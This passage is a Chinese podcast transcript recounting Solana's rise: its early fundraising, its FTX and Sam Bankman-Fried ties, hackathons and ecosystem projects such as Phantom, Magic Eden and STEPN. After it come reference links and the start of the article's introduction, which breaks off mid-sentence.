StarkWare，他们都融了挺多钱的，因为他们具有正统性，这个正统性挺有意思的。这些侧链团队，或者是一些 Rollup 的团队，他们都没有给以太坊网络直接的价值捕获，所以某种意义上也可以说他们是一层智能合约平台，当然是因为他们都背靠二层网络。他们的这个叙事是这样讲的，那我们就不在这赘述了。 因为聊到这个话题我就去找了一些数据，是 Solana 和其他的仍然活跃的公链的对比，大家就可以参考一下，也是从 Messari 找到的。 首先我们看 Avalanche 雪崩协议，它 2019 年 2 月第一轮在深熊的时候融资了 600 万美元，他的创始人叫 Emin Gun Sirer，他在密码学界比较富有生命力。2018 年 11 月是上个周期的深熊，比特币跌到 3000 点，但是过了三个月他们又能够融到 600 万美元，还是挺厉害的。然后 2020 年六月第一波的 DeFi Summer 开始之前，他们又融资了 1200 万美元，这个都是私募的。在一个月之后，他们公募获得了 3750 万美元，总共一级市场募资是 5550 万美元。 然后 Near 团队其实在 17 到 19 年的时候，他们在中国非常活跃，他们 2017 年第三季度，那时还没到牛市顶峰之前，他们就已经融资了 81 万美元，然后 18 年第三季度融了 288 万美元，19 年第一季度融资 848 万美元，然后同一年的第二季度融资了 37. 5 万美元，加起来全部的融资额是 1200 万美元。2020 年初他们又完成了超过 2100 万的 A 轮融资。 当后来在公募的时候遇到了一些技术问题，公募加起来超过了 3000 万美元，因为他没有一个非常具体的融资记录，但是加起来是超过 3000 万美元融资，所以总共私募和公募是 6300 万美元融资。 再看看 Solana，18 年的 4 月完成了 317 万美元种子轮，同一年的 6 月完成了 1260 万美元的融资，19 年 7 月有一个叫做 Validator Sales 验证者节点的募资是 570 万美元，2020 年 2 月他们在公募之前完成了 230 万美元融资，比公募的价格还贵一点。后来他们完成了 176 万美元的融资。所以私募+公募的募资他们融到了 2553 万美元。对比一下 Near 团队融资 6300 万美元和 Solana 团队融资 2553 万美元。比较逗的我觉得是什么？就是他们在融资信息里面还写了每一轮融了多少比特币和以太坊，就有非常浓厚的上个周期的特征。 我估计 Near 和 Avalanche 里面可能也有不少同类情况，因为 Near 是 2017 年就开始融资，然后 Solana 2018 年，但 Near 的融资信息没公布，Solana 比较实在，融资信息都公布了。ICO 的时代其实大家都比较习惯拿以太坊比特币融资，融资的标的是在以太坊之上的应用类协议。其他的智能合约平台团队，他们可能也会效仿，即使他们并不是在以太坊之上搭建的。那个时候很多团队没有财政管理的概念，融到钱他们就放着，到熊市的时候以太坊比特币会大跌。因此我感觉虽然他明面上写着融资了 2500 多万美元，但实际上到他们真用钱的时候应该是没有这么多的。 Solana 的几个联合创始人，都属于非典型的区块链项目的创始人，和当时 17 年 18 年比较多投资机构追捧的一些项目相比，Solana 团队都是从硅谷大厂出来，中年创业开始创业的团队。Anatoly 都已经有 3 个孩子了，他们既没有像 V 神这种非常厉害的天才少年架构师，也没有非常闪耀的背景，也没有一些拥有非常强的学术背景，比如说 Avalanche 的创始人都属于这种。 从团队背景来看，他们是被很多投资人当做二三流的来看待的。这一点和前面提到的 Polygon 团队有一些相似的地方。Anatoly 是一个非常实在的人，他不爱说大话，他在线下是属于害羞的类型。Raj Gokal 在成为 COO 之前对于市场营销讲故事一无所知。在最早期的时候，有一些投资人还有他们的员工私下都会怀疑 Raj 成为项目第二重要角色的能力，一些早期的大投资人甚至试图观察他，觉得如果能力不行的话，有必要要求团队把它换掉。当然了通证的融资不存在治理权的事情，就没有所谓的董事会席位这种说法。更多的是人和人之间纯粹影响力，投资人施压，团队听不听当然就也无所谓了。 Solana 团队在中国融资那段时间，还去找了各种各样的矿池，给这些矿池送显卡，矿池是为像比特币以太坊这种 POW 的币挖出来之后需要他们对于区块排序。他们找的矿池里面包括了当时世界上最大的以太坊矿池。当然现在这个矿池已经依照相关的法律法规关停了。后来那个矿池的人就跟我讲，他们尝试跑了一下 Solana 的节点，但他们办公室的 WiFi 都崩溃了，所以就作罢了，后面没有参与这个验证者节点。 还有很多人会说 Solana 这套历史证明 Proof of History 是为了噱头，强行创造了一种权益证明和工作量证明以外的这种新共识算法。理解的人知道，其实历史证明并不是一个新共识算法。Solana 的共识算法仍然是权益证明 Proof of Stake，历史证明主要的任务还是解决在高吞吐量的情况下，交易时间戳在链上的确认问题。 其实本质上 Solana 节点上所有的事件交易都是使用 SHA256 哈希函数进行哈希处理，然后这个函数接受了一个一个输入以后会产生一个非常难以预测的独特的输出，Solana 链在获取交易的输出把它作为下一次散列的输入，这个散列的过程确认了一个连续的加密交易链，或者说一个明确的链上可验证的交易顺序。用通俗的话来说就是 Solana 是先出块儿后共识。当然因为今天播客目的不是为了讨论 Solana 的技术优劣，所以在这儿作为背景知识简单讲述，主要是想说明当时大家对于 Solana 的一系列的叙事是不太信任的。 本来 Anatoly 觉得这种叙事是一个伟光正（伟大，光荣，正确）的事情，但实际上这种高性能公链的故事可能在亚洲已经被听烂了，觉得这是就是炒作。很多人会认为本来就没有多少应用能够用到区块链，所以高性能的公链只是伪命题。当时其实 Solana 的价格是非常低的，放到今天都会觉得难以置信，Solana 第一轮估值是 2000 万美元，然后第二轮是一个亿，验证者节点那轮是 1. 12 亿美元估值，最后一轮战略轮私募应该是 1. 22 亿美元。 2000 万美元的估值是什么概念？在 2021 年底，现在最近很火的 Aptos，不是币权融资而是股权融资就已经在 10 亿美元，那它币权的映射可能就更贵了，因为它不是 1: 1 的，如果按照股权的价格都已经是 50 倍了。2000 万对比 10 个亿，顶多可能就是 Aptos 主网上线从融资的这个时间点开始算，时间的确是短一点，但是也短不到哪去。 我觉得另外一个对比的参考系就是 2022 年市场上融到资但是啥都没有的那些种子轮的项目，他们的估值都还在 1500 万元美元左右，当然区块链行业的溢价，毫无疑问仍然是非常显著的，跟普通的股权融资，传统的互联网项目等相比而言。其实在任何一个时间点做智能合约平台的项目估值 2000 万真的是不多见。 我做了这么多铺垫，我想说的就是 Solana 的开头并不是非常漂亮，他们从资本市场的角度能赢的几率不太显著。更加不用说 Solana 早期投资人没有几个特别厉害的，当时 Multicoin 没有人知道他是谁，在美国是二流，其他的地方大家都不认识他们。 那么最早的时候 Solana 到底做对了什么呢？这一点可能是很多人非常关心的。我自己觉得很重要的一个点是，创始人的 Ego 很小，整个团队他都是非常务实的风格，他们没有太多的执念，没有觉得非要有一套奉为圣经的东西，就什么能够帮助项目获得更多关注、认可使用，他们就尝试什么，他们不怕丢脸，失败再来。 其次就是非常快的上了主网的 Beta，非常快速的上了很多中心化交易平台。2019 年 10 月份的时候，在大阪第五届以太坊的 Devcon，Anatoly 连续四天每天都站在开发者大厅，他穿戴着 Solana 衣服和帽子，然后主动跟别人打招呼，跟来往的人介绍 Solana，当时来往的人几乎没有几个人理他。有一天我跟他在大厅聊了一个半小时，没什么人来问他问题，也没有人来打招呼。他知道这样的宣传方式效率很低，但也不在意。他说反正这行业本来就没几个人，能聊上一个是一个，能聊一个开发者是一个开发者。 在 2019 年验证者节点募资结束以后，Anatoly 和 Raj 坚持要集中精力开发先上主网。即使带着 beta 的标签也要争取尽快上线。Multicoin Capital 的联合创始人 Kyle Samani 当时给他们挺多压力，说你们必须尽快发币，并且上交易平台。 在后来的一些公开谈话里面，Kyle 承认了他自己当时对于事情优先级的判断不一定是最准确的。他承认 Anatoly 坚持先上主网的决定才是最正确的。但他当时积极推动 Solana 上交易平台的原因，认为只有筹码广泛分布在很多人的手里，所谓的人在车上，社群开始不仅作为一种技术，而是作为一个标的被讨论，它才能够让 Solana 形成共识。 就好像 Synthetix 的创始人 Kain Warwick，他在一个播客里提到选择在以太坊上面开发，是因为他手里有早期参与以太坊的筹码，他有筹码，所以屁股决定脑袋很正常。那其实在现在这个时间点回头看两边坚持都没错，然后甚至可以宣称说这两点是奠定 Solana 基础最重要的几步棋。 先上主网带来的结果就是，当 FTX 的创始人 Sam Bankman-Fried 四处找合作公链的时候，只有 Solana 接住了，快速上线交易平台，在二级市场换手。一方面帮助 Solana 在 2020 年积累了市场关注，但另一方面也让更多人拥有了 Solana 这个通证，积累了它的共识。Kyle 有句非常有名的话—你的市值就是你的市场宣传（Your marketcap is your brand）。 挺多的西方项目，他会声称自己不在意价格，他们就觉得谈钱就不技术了。但是 Anatoly 和 Raj 都非常在意盘面，他们看到过去的一些反例，觉得如果盘面一直阴跌的话，参与在生态里的人他们都会很萎靡。因为毕竟这跟成本相关的，因此才有了他们在公募之前跟所有私募投资人商量，把各个轮次的解锁时间改到同一时间的操作，他们想要死就死一次，死透了就不需要面对这种钝刀子割肉每个月的解锁。那这一步棋其实后来在一些核心机构的共同的助力之下，应该说是成为了资本充分博弈的经典案例。 上面说的所有的这些其实是想给听众一些背景信息，因为绝大多数的人可能都是从 FTX 决定深度参与 Solana 之后才开始关注的。大家会觉得 Solana 如果不是幸运的抱住了 FTX 这个大腿，一定走不到今天。这个观点我觉得是有相当的合理性的，但我们也不能忽视这所谓的幸运的背后的一些细节。 说到这个其实挺多人都非常好奇，当时 FTX 的创始人 Sam Bankman fried（SBF）和 Solana 是怎么互相选择的。其次就是 Solana 修改了解锁后，市场上面各种各样参与者的精彩的博弈。 那回到 2020 年 DeFi summer，2020 年的 5 月开始，一些以太坊上面比较早期的去中心化金融协议都开始暴涨，最典型的就是早年最开始是 AAVE，今天他们团队也做了个社交协议 Lens protocol，市场上绝大多数的人或许没有感觉，但是 SBF 很关注这个资金流。他那时候就已经意识到了去中心化金融的魔力和动能，他当时就想寻找一个合适的公链，他自己想做一个订单部交易平台。 如果有一些听众去问 Polygon，Avalanche 和 Near 的基金会核心成员，你就会了解到当时 SBF 跟市场所有只要有点名气的公链都聊过一遍，而他都是主动找上门的。很明显 Solana 不在这个有名气的公链的一列。然后市场上的传言当时是 FTX 对 Near 最有兴趣，但是他们的主网上线还需要一段时间，但 SBF 不想等。Multicoin 的 Kyle 知道了这个消息后想办法让别人给 SBF 介绍了 Anatoly。2020 年的 7 月 16 号，北京凌晨 2 点多，发生了太重要的事，所以我一直记得这个时间点。Kyle 给我们打字直播：「我在跟 Sam 打电话，一开始只约了半个小时，但这已经变成了一个 3 个小时的会，Sam 这边已经是 3 点（因为他那会在香港），然后现在还将继续下去。Sam 非常认可 Anatoly 的愿景，就是跑一个高速纳斯达克的愿景，他正在让他的工程师也参与调查，然后还问了一些技术问题。」 Kyle 一边飞速打字非常激动，我甚至能感受到他手在颤抖的那种状态。第二天 Kyle 就用他平 1. 5 倍的语速告诉我说，Anatoly 告诉他，他们的夜里凌晨的时候，也就是香港时间白天，Solana 链上有大量垃圾交易攻击，后来验证了，就是 Sam 让他的工程师发的，为了测试 Solana 公链的性能。但是 Solana 扛住了。 就在同一天，SBF 决定投资 Solana，当然他的交易条款我不清楚。几天之后 FTX 自己孵化的去中心化订单簿撮合引擎—Serum 的设计就诞生了。 当天夜里，Kyle 在床上翻来覆去睡不着觉，太激动了，写出了 Serum 的投资备忘录，那轮 Serum 所有人都觉得疯了，但是相信的人是真信。所以即使在那个时候，Kyle 是一个对于估值非常敏感的人，他都决定说要梭哈，就非常夸张。然后他在 Slack 上面飞速的给我们打字：「I was just so excited about all these that are going to happen. For the whole week, I couldn't fall asleep. Solana is exactly designed for things like Serum, and they have the liquidity. This is just huge.」 补充一个背景知识给咱们听众，就是 Multicoin 对于链上订单部交易平台是有强烈的痴迷的，是因为常说的基于撮合的订单部交易所模式，在流动性允许的情况下，资金效率是最高的。 如果大家去看 Multicoin 网站上的投资组合，能看到这些年他们做了很多订单簿链上金融投资的尝试，在没有足够的流动性支持情况下，这东西的确是有点难做。引用一下三体里面大使和汪淼说的话，「皮裤套棉裤必定有缘故，不是棉裤少了棉，就是皮裤少了毛」。Solana 的吞吐量搭配 Alameda 的流动性，这才算是理论上齐活了。 那激动人心的时刻过去了之后，Solana 仍然在 2021 年 3 月面对着天量代币解锁的压力，所有私募投资人代币一次性解锁，最终是一个参与者心态的博弈，这个调整倒逼没有信心的私募投资人在解锁之前自己主动换手。根据我通过很多第三方 OTC 了解到的一些不完整的信息，当时换手的二手合同基本成交价都在几毛钱到 2 美元之间一个 SOL。我的猜测是 SBF 也是基于这一点很有底气的说出 3 美元以下 SOL 可以全部卖给他。 更实际的说，其实当时解锁前流通市值是非常低的，期货的资金费率是负的非常高。意思是空军要给多军支付每 8 小时支付很高的费用，等价格拉起来了之后，这些多空军就成了多方的燃料，意思是它被爆了，就会更进一步的让现货涨起来，因为它在市场价直接清算了。 但涉及这些交易的内容我们就不在这儿过多展开了。那 Solana 获得第一波的势头的确适合 SBF 和 FTX 参与密不可分。这里说的参与分为两种，一种是 SBF 会带头在上面孵化项目，高举旗帜告诉大家他们也站在了 Solana 的背后。这个确实给了不少人信心，除了 Serum 外，FTX 和 Alameda 也在孵化其他项目，例如 Solana 上面第一个自动做市的去中心化交易平台 Raydium，第一个借贷协议 Oxygen，还有上面的托管桥 Sollet。当然 Sollet 本身也是一个钱包，它们全都在 FTX 上面进行了公募的代币发行，从做项目的角度来说，这些都不能算是太成功。Raydium、Oxygen 很快都被体验更好的项目取代了。但在早期，从宣传 Solana 的角度，作为一个可选择的开发生态的角度，他们起到了一定的积极作用。 此外就是很多钱包和交易平台原本是不愿意接 Solana 的，很简单，因为如果要接非 EVM 的公链，需要花费的额外工程成本是比较高的。说家不确定 FTX 是否会和 Solana 的合作达成之前，亚洲的钱包和交易平台都特别持观望态度。Solana 很难获得他们的支持，因为花了资源后，生态又没做起来，那不是亏本了？但他们看到 FTX 迅猛的行动以后，都纷纷转变了态度。 飞轮从 0 到 1 是很难的，但是一旦有人给飞轮开了这个头，往下转就变得越来越容易。但更隐形却更致命的一点是 SBF 给 Solana 带来的正统性。需要先花一点时间聊聊怎么理解这个正统性。在西方的区块链技术圈子里，有一些比较有意思的身份证认同和政治正确，一开始出现的是比特币最大者，或者叫做比特币原教旨主义，这些人都是特别早就进入了加密生态圈，他们有着很强的加密精神。 随着 Vitalik 带来的图灵完备、可以执行智能合约的以太坊以后，又出现了以太坊的最大者和以太坊元教旨主义。比特币原教旨主义有一套站位更高的论调，比较典型的就是比特币有固定上限，而以太坊无限增发，或者说以太坊有私募等。很明显，抛开功能和目的去谈优劣，那都是耍流氓。但这就是 2016 年 2017 年，不算奇怪的现象，这主要存在在早期加密精神的拥趸之间。 但到了以太坊站稳脚跟以后，自然就有人质疑以太坊的性能不足以支撑万物皆可上链的需求，他们需要扩容，很明显很多东西就不需要上链。但是这些以高性能扩容解决方案的出现，或多或少主动或被动的会被归类为以太坊杀手，就变成了一个政治上对立的阵营。 就在以太坊性能受到质疑的时候，主动的把这个杀手的帽子一戴，这些公链的旗帜就鲜明了，属于我比以太坊更高更快更强。但同样的，当泡沫消散褪去了以后，大家发现高性能供应链的噱头一地鸡毛的时候，以太坊杀手这个称呼就即刻变成了贬义词，扩容公链的江湖地位立刻矮人一头。大家纷纷表示还是以太坊更好，以太坊原教旨主义的道德制高点就站住了。 有意思的一个现象就是各种各样的扩容方案，在各个时期，他们面对截然不同的社区情绪和政治，正确采用的叙事也在不断变化。最典型的就是 Polygon 和 Near。Polygon 在早期讲的是侧链的故事，就是我能做到以太坊做不到的，但是随着江湖论调变成侧链是以太坊吸血鬼，侧链本质上是把能进入以太坊网络的价值捕获转移到他们的网络，这一类的话术之后。Polygon 非常聪明，他们就开始对于自己是侧链这个事实避而不谈，然后转向说自己打算作为一个二层网络深入服务以太坊社区。Near 也是用类似的逻辑，他们创始人心气高，在融资的时候针对以太坊一顿批判，然后把自己以太坊杀手的牌坊算是立住了。 当然在 2020 年 DeFi Summer 大热了之后，Near 发现还是说自己是二层网络比较好，容易吸引以太坊社区和流动性。但事实就是他俩谁都不算二层网络，这至少可以装作二层网络来跟以太坊套近乎。但对于「高性能公链」的这个 Solana 来说，他连以太坊虚拟机兼容都没有，以太坊杀手这个名字，不管他们愿不愿意，他们都得背。很长一段时间里，媒体还有舆论都会强加在他们头上。 其实在很多有影响力以太坊核心的开发者看来，Solana 就是不做好的。但是 SBF 开放包容、理想化、追求技术的这种人设，非常明显为缺乏正统性的 Solana 赋予了一些力量。也让很多讨厌 Multicoin 作为 Solana 最大投资人的人开始改变刻板印象。 就随着 SBF 公开支持 Solana 以后，不少原来号称自己是以太坊原教旨主义的投资人或者是看不上 Solana 的人开始动心。比如 ParaFi Capital 前合伙人 Santiago Roel Santos 就是一个典型的例子，他之前真的就是无脑吹以太坊，但后来开始愿意认可 Solana 了。最让我佩服也是一个比特币原教旨主义者 Lily Liu 决定加入 Solana 去做基金会的主席。Raj 和 Anatoly 是怎么说服她的我真的不是很清楚，但是这一个里程碑是可以说改变了 Solana 的基本面，因为很多老的加密圈的和硅谷人都非常认可 Lily，虽然她在社交网络上面的粉丝并没有那么多，但是很核心的人都非常认可她，因此他愿意迈出这一步，让很多人会觉得自己需要重新审视一下 Solana，问一下会不会是自己之前太傲慢了。   人和人破圈的事儿其实是非常微妙的，有时候还是很多时候还是靠某几个人的影响力，突然就能让更多的人放下成见去重新审视一个东西。 但 Solana 更大的开发者生态是怎么做起来的？毕竟开发者生态即使是花钱，也得用正确的方式去花，并不是说有钱就一定能把开发者生态有机的做起来。以太坊上面的 Solidity 原生开发者其实大多数都没有 Rust 的能力，因此 Solana 将目光转向了科技公司大厂的开发者。但 Solana 也明白要吸引这些人，需要这事儿非常赚钱，才能让他们觉得这个机会成本是值得的。因此当时他们在这些人的圈子里面应该是花了大功夫的，包括从这些大厂里面去招一些核心开发者。 其次就是当时有一批波卡的 Rust 开发者转向了 Solana，有趣的是大家一直期待的天王级公链波卡上线一而再再而三的推迟。其次也是一些小一点开发者觉得自己没有资金能力去参与卡槽拍卖，那不如尝试一个没有资金门槛而且还可能赚钱的，有大金主支持的 Solana 生态。 就在这样子的背景下，Solana 推出了精心策划的黑客松，也是一个相当经典的案例。他们第一期是 2020 年 10 月做的，召集了全球各地的投资人和创始人作为评委。印象中比较深刻的是 AAVE 的创始人 Stani Kulechov 也在，因为其他的都不是以太坊生态的，相比于位于硅谷的竞争对手 Compound，AAVE 其实是比较包容的心态。 第一次奖池不算特别大，不到 20 万 USDC。对比看看今天的以太坊纽约黑客松，他们有来自全球各地非常有名的项目赞助，总奖金池子也只有 50 万美元。Solana 第一次做就有 20 万美元的奖金，应该也算不错的。第二期是 2021 年 2 月份，Solana 和 Serum 专门针对去中心化金融的项目做了一个黑客松。我觉得很有趣的一点是 Solana 和 Serum 团队写了一个非常详细的创意列表，上面包含了各样他们认为 Solana 上面需要但是还没有的工具和应用，鼓励大家基于那个表进行开发，然后还给独立的参赛者提供撮合团队的机会。 那个表我觉得写得真的太详细了，这个时间点把握的很好，他们正好也是投资人解锁，私募人解锁的时间点，所以应该说是这种利好的消息和私募这两件事情对冲的很好。然后等到 2021 年 10 月，第三次黑客松奖池已经到了差不多超过 100 万美元了。除了 Solana 基金会，那这一年里面各个在 Solana 生态里面长出来的项目，他们都纷纷参与了赞助这个奖池，参与的评委也是盛况空前。在这一届的黑客松开始之前，这种独立开发者们已经充分相信了我只要参加 Solana 黑客松拿到名次，就能够同时广泛获得社区关注以及拿到投资人融资。甚至其实在黑客松结束之后，Solana 跟每个获奖团队都送了开发者大会的门票，邀请大家到里斯本现场和开发者和投资人当面交流。 到这个阶段，Solana 在开发者生态里面所投入的巨大努力，可以说已经开始正向循环。然后到 2022 年就更加激进，他们在美国，欧洲，亚洲各个地方在不同的时间连续举办专门为开发者组织的短期快闪活动，他们管它叫做 Hacker House Series。 Solana 就让自己的核心开发者和商务人员飞到不同的城市，邀请当地的开发者还有感兴趣的投资人们去他们准备好的场地里面交流，现场答疑，还有商业拓展，甚至投资谈判。就在这个时候，此时此刻的 Solana 已经不再是 2020 年求着开发者来的那个小弟了，他现在扮演的更像是一个攒局大哥的角色，要保证来的每个人都吃好玩好，匹配到自己所需要的资源。 上面描述的这些发展听起来挺顺水推舟的，但事实上没有哪个公链会不重视黑客松，尤其是前面两期、三期黑客松，在还没有一个像样的生态之前，挑战是巨大的。Solana 商务的团队在早期贡献非常多，任何一个黑客松光靠自然流量参与，在飞轮转起来之前是非常难的。因此他们的商务团队需要想方设法去找到这些优秀的团队，甚至说服 Alameda Ventures 还有一些深度绑定的机构进行投资，或者是免费给这些团队介绍一系列的资源，来作为吸引这些团队统一在 Solana 上面开发的筹码。 还有一点，人们常常容易忽略的重要因素是 Solana 团队借助 FTX 的力量，先后让 USDC 和 USDT 认可和集成他们，SBF 亲自给 Anatoly 和 USDC 母公司 Circle 的 CEO Jeremy Allaire 拉群，在第一次会议的时候，他自己也亲自参与了，从 FTX 和 Serum 的角度答应了 Jeremy 第一时间支持 Solana。当然，Jeremy 自己本身也非常认可 Anatoly 的愿景，Tether 的 USDT 在第三世界国家渗透程度就不用多说了。当 Solana 公布 Tether 支持他们的那一天，Solana 当天直接暴涨 60 个点。 当一个公链有了稳定币，它上面的去中心化金融才便于更好的开展，才更容易吸引用户来使用这些金融应用，才会进一步激励开发者来这开发更多的应用。逐渐有了开发者和应用，有了稳定币，用户也并不是水到渠成的。除了关心 Solana 开发者生态是怎么做起来的，我相信还是有挺多人关心 Solana 怎么开始有人愿意用的，因为你有这个供给端，你没有消耗端其实也没有意义。有些人就会说，一个生态吸引的第一批用户往往是投机者，因此就是有开始赚钱的第一反应，比如说 Raydium 的打新等等，这一点是非常重要的。 这一点的重要性我并不否认，但事实上就大家会发现，因为 Solana 交易手续费非常低，因此链上资本热衷的那种流动性挖矿智能合约里通过有风险的存钱生出更多的钱的这种泡沫行为，在 Solana 上面是非常容易矿难的，也就是被资金高频率的挖提卖冲垮，一个矿从开始到结束就如果做得不好，很快就死掉了，甚至不到一天时间。 在我看来，最大的转折点之一应该是 Phantom 团队决定在 Solana 上面做一款好用丝滑的钱包。Phantom 团队的背景是以太坊老牌去中心化金融协议硅谷产品 0x，极简风格，相比于当时大家苦不堪言的 Sollet 这些更早一代的 Solana 钱包，它的确是让人耳目一新。在 Solana 上去中心化金融协议爆发的前夜，Phantom 横空出世，应该说是完美的接住了一波流量。钱包作为和协议交互的重要前端，它的用户体验极大程度上决定了接下来用户的行为。我甚至会觉得有没有办法培养出丝滑浏览器钱包，手机钱包，是一个公链获得大规模应用的决定性事件，那 Phantom 就是这个浏览器钱包。 然后其次转折点来自于 Magic Eden 的出现。在 Magic Eden 出现之前，Solana 完全没有真正意义上的 NFT 社区，所有的小图片都是仿以太坊上的东西。和 Phantom 类似，Magic Eden 核心团队也是硅谷谷歌背景，加上另外一个老牌去中心化金融协 dYdX，他们从上线到 Solana 市场，NFT 市场的市占率达到 90% 只用了不到两个月。差不多是在 2021 年的 Breakpoint 大会时期他们就已经做到了 90%。 他们有非常强大的商务和社区运营团队，可以说是将整个 Solana NFT 生态从 0 到 1 从无到有做了起来。在 Magic Eden 起来之前，Solana 上面的那些项目很多都是仿以太坊上的，没有真正意义上原生的创作者社区。 再来其实就是 STEPN 了。许多 Solana 上面从来没有接触过区块链的用户，他们都是通过 STEPN 注册了解到的 Solana。手机钱包是一个决定公链或大规模应用的事件。如果说 Phantom 是浏览器钱包，我觉得 STEPN 的手机钱包也算是很重要的一环。在 STEPN 500 万的注册用户里面，差不多三成是全新的圈外用户，就都不是说非 Solana 而是非加密圈的原生用户。有很多今天在 Solana 生态里面活跃的 NFT 用户也表示，自己接触 Solana 就是因为 STEPN 这款健身的 APP。 我也想通过这些观察试图回答另外一个问题，那就是 FTX 轰然倒下的今天，Solana 何去何从？ 其实这个问题聊到这儿，你可能已经知道我的答案了，Solana 大概率是不会死的，但它不会以原有的方式活。 2022 年 11 月 10 号，Solana 基金会在官方博客上面发了一篇澄清文章，里面提供了很多他们受到 FTX 破产和清算影响的一些细节，包括 Alameda 和 FTX 之前投资的 SOL，还有 Sollet 的托管跨链桥上面的资产等。 Solana 联合创始人之前 COO Raj 在 12 月 29 号在推特上面发了一段话，他说说过去这些年，我们的这个还是相当活跃和有富有激情的社区被一些短期短视的炒作的人影响了，那他们就像这种有害的病毒是需要被清理的。发烧当然是很痛苦的，但你会很开心，当它爆发出来，你知道他们也就很快会结束，这是最后的痛苦。那任何一个坏分子被这个洗出之后，其实都是在往更加去中心化之路上面走出的坚实一步。 但他最后说的那句话，我觉得虽然听起来是陈词滥调，但是放在 Solana 身上完全没问题，因为并不是任何一个东西把那个坏分子杀了就能再活过来，有可能你就完全死了。但是 Solana 应该是不会的，因为它经历了非常多的起起伏伏，即使从市场层面上换手也换了很多批了，然后再加上有机的开发者还是比较多，一个核心机构的倒下，或许可能成为它朝着更加去中心化的角度发展的一个重要契机，这肯定是非常痛苦，但是我觉得也是机会。 很多人就质疑说随着价格的跌落，这些验证者节点 Validators 开始解除质押，链的安全性都可能失去保障，小开发者肯定是很担心的，因为验证者节点的门槛是非常高的，普通开发者也不可能自己想跑节点就跑节点，这不现实。但从大开发者的角度来看，他们迁移的重新获客培养社区的这种隐性成本可能是更致命的。 比如说像 Magic Eden 或者是 STEPN 这样的开发者，他们其实可能会自己跑验证节点，努力让这条链真正成为公共的区块链。而对于一个智能合约平台，其实最重要的是开发者生态是否有机而自发，以及用户是否有社区认同感。 我前阵子看到硅谷的风投机构 Eletric Capital 公布了每年一度开发者研报。2022 年 12 月，也就是 FTX 倒下后的一个月，Solana 的活跃开发者是所有公链生态里面仅次于以太坊的，有 2082 个，和 2021 年同期相比增加了 83%。从 Solana 默默无名到炙手可热，FTX 和 SBF 以及大投资人在里面起到了非常关键的作用。但 2022 年初起始的路，或许 Solana 已经开始自己走了。 最后，我想跟大家分享一个小故事。2021 年底，在里斯本 Multicoin 在 Solana Breakpoint 开发者大会的旁边办了一个活动，请了自己的投资组合里面当时在葡萄牙的团队，那会是市场非常好的时候，整个屋子里充满了快乐的气息。我一转头，发现 Anatoly 自己一个人靠在角落里面，静静的看着大家聊得热火朝天，手里拿的还是纯的威士忌。他看见了我，然后肉眼可见的变得特别高兴。他走过来跟我拥抱，我说谁能想到就这么就 3 年了。他说，对，3 年了，老朋友都还在，实在是太好了。 参考链接 Messari 上的各公链融资情况： Polygon: https://messari.io/asset/polygon/profile/launch-and-initial-token-distribution Avalanche: https://messari.io/asset/avalanche/profile/launch-and-initial-token-distribution Near: https://messari.io/asset/near-protocol/profile/launch-and-initial-token-distribution Solana: https://messari.io/asset/solana/profile/launch-and-initial-token-distribution Multicoin Capital 投资组合：https://multicoin.capital/portfolio/ Solana 黑客松相关链接： 第一届黑客松：https://solana.com/de/wormhole-hackathon 第二届黑客松：https://solana.blog/2000-participating-in-solana-defi-hackathon-kicking-off-tomorrow/ Serum 团队做的 Solana 上需要被搭建的东西，供参加黑客松的人参考：https://serum-academy.com/en/serum-project-ideas/project-ideas/（该链接已失效） 第三届黑客松：https://solana.blog/solana-season-global-hackathon-with-1m-prize-and-funding-pool/ 第四届黑客松：https://solana.blog/katana-wins-out-of-568-projects-launched-in-massive-solana-ignition-hackathon/ 第五届黑客松：https://solana.blog/solana-riptide-hackathon/ ETH NYC 的奖池：https://nyc.ethglobal.co/#prizes Solana 基金会对于和 FTX / Alameda 相关联资产的澄清：https://solana.com/news/solana-facts-ftx-bankruptcy Raj 的推特：https://twitter.com/rajgokal/status/1608320254463348736 Electric Capital 的开发者报告：https://www.developerreport.com/  ( 12 min )
    Solana回忆录：一代“以太坊杀手”的五年沉浮
    本文转录自 STEPN 首席营收官、 Multicoin Capital 前合伙人 Mable 的播客 HODLong 后浪，如需收听原播客，请点击链接 在 FTX 宣布破产之后，被其全力支持的 Solana 公链遭到重创，陷入困境：公链代币 SOL 价格大跌，从高点 100 美元跌至不足 10 美元（当前已回升至 22 美元）；链上 TVL 较历史高点跌近 98%；随后还在今年 2 月出现长达 48 小时的宕机情况，却无人发现。面对用户量大幅流失、节点罢工，甚至包括知名 NFT 项目 DeGods、y00ts 的离开，Solana 基金会的努力看起来如此无力。曾经风光一时、最有望成为 「以太坊杀手」 的 Solana 公链如今陷入了无人问津的处境。 Solana 与 FTX 的千丝万缕或许是其成功的原因之一，但却不是必然。本文整理自STEPN 首席营收官、 Multicoin Capital 前合伙人Mable 于 2023 年 1 月发布的播客内容，作为重仓 Solana 的投资机构 Multicoin Capital 可谓成也萧何，败也萧何。 通过本文，我们一起来回顾一下这条王者公链的跌宕沉浮。正值 FTX 重启话题热议之时，也许 Solana 公链有朝一日也会重整旗鼓，再度扬帆跻身强者之战。 前阵子有朋友就说，你怎么没有从来没有聊过 Solana，我说这个话题太大了。然后有朋友说特别感兴趣 Solana 从最早 18 年 19 年到现在是怎么做起来的，还有 FTX、 Sam 和 Solana 是怎么相互选择的，还有价格奇迹，这些其实都是在 2020 年和 2021 年被大家津津乐道，又从来没有人聊过的事情。 没有聊 Solana 是因为一直没有找到合适的人对谈，不管是生态里的任何一块，能聊的东西都挺多的。但是其实今天 Solana 已经成为科技行业多多少少都会有所耳闻的一个名字，既然找不到一个合适的人，那我决定做一期自己的节目。 Anatoly Yakovenko，一个乌克兰裔的前高通工程师，他在 2018 年初叫上十几年的老朋友 Raj Gokal，也就是后来 Solana 的 COO，一起创立了 Solana。Anatoly 后来还邀请了他在高通的老板加入 Solana。 他在最开始接触图灵完备的区块链的时候，想自己做一个链上的订单部交易平台。图灵完备的意思就是能在上面编译智能合约的以太坊，然后他非常快地发现了以太坊其实无法承载如此大吞吐量的链上交易，因此他决心自己做一个智能合约平台，但是发现基础设施不行，就决定自己来做基础设施。有一天夜里，Anatoly 喝了 3 杯咖啡，翻来覆去睡不着，爬起来写下最初的 Solana 代码，这就是 Solana 诞生一个比较淳朴的故事。 19 年以前的万向区块链大会是在上海，世界各地的人都挺趋之若鹜，项目方想要获得声量或者曝光，就一定会去夏天的上海、杭州。18 年 19 即使是在熊市比较糟糕的时候，中国都算是一个比较活跃的沃土。在那时区块链行业里面，中国资本仍然还有相当大的话语权，项目方都愿意来中国融资。Solana 